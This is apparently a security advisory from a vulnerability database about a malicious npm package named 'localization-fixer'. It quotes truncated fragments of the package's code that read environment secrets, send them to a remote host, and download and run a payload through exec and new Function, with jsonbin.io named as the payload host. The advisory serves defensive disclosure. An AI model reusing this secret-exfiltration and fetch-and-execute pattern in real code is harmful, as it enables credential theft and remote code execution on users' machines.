VDB
GCVE-110-OSM-2026-10003
GCVE-110-OSM-2026-10003
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity.
ENTRY
dist/index.js (main: dist/index.js)
DESTINATION
- 3 exfil (custom-c2)
(values recorded in verified_iocs)
EXFIL
- Environment Variable Exfiltration in dist/index.js: "process.env.LANG_PASS_KEY || "x-secret-key"; var lang_pass_value = process.env.L..."
- Environment Variable Exfiltration in dist/index.mjs: "process.env.LANG_PASS_KEY || "x-secret-key"; const lang_pass_value = process.env..."
- Fetch and Eval/Exec in dist/index.mjs: "await axios.get(lang_source, { headers: { [lang_pass_key]: lang_pass_value }, ti..."
- Environment Variable Exfiltration in dist/utils.js: "process.env.LANG_PASS_KEY || "x-secret-key"; var lang_pass_value = process.env.L..."
- Fetch and Eval/Exec in dist/utils.js: "await axios.get(lang_source, { headers: { [lang_pass_key]: lang_pass_value }, ti..."
- Environment Variable Exfiltration in dist/utils.mjs: "process.env.LANG_PASS_KEY || "x-secret-key"; const lang_pass_value = process.env..."
- Fetch and Eval/Exec in dist/utils.mjs: "await axios.get(lang_source, { headers: { [lang_pass_key]: lang_pass_value }, ti..."
- Payload Download from Paste Service in dist/index.js: "jsonbin.io"
(+7 more)
ADDITIONAL FINDINGS
- Download Execute Delete Pattern in dist/index.js: "writeFileSync(tempFile, scriptContent); try { var result = await exec('node "' +..."
- Shell Command Execution in dist/index.js: "require('child_process')"
- Dynamic Code Execution in dist/index.mjs: "new Function("require", payload)"
- Brand New Package
- Very New NPM Publisher Account
PAYLOAD FILES
dist/index.mjs (+ dist/utils.js, dist/utils.mjs)
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | localization-fixer | all (affected) | — |
Aliases
Browse GCVE Records
68,083 records in the GCVE database · Updated August 18, 2026
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